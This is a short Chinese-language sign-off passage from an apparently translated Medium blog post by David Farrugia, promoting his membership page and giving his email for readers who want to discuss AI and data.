独家访问我所有的 ⚡premium⚡ 内容和 Medium 上的无限制内容。通过请我喝杯咖啡来支持我的工作…
david-farrugia.medium.com](https://david-farrugia.medium.com/membership?source=post_page-----5733426530bf--------------------------------)
想要联系我吗?
我很想听听你对这个话题的看法,或者关于 AI 和数据的任何内容。
如果你想联系我,请发邮件到 davidfarrugia53@gmail.com。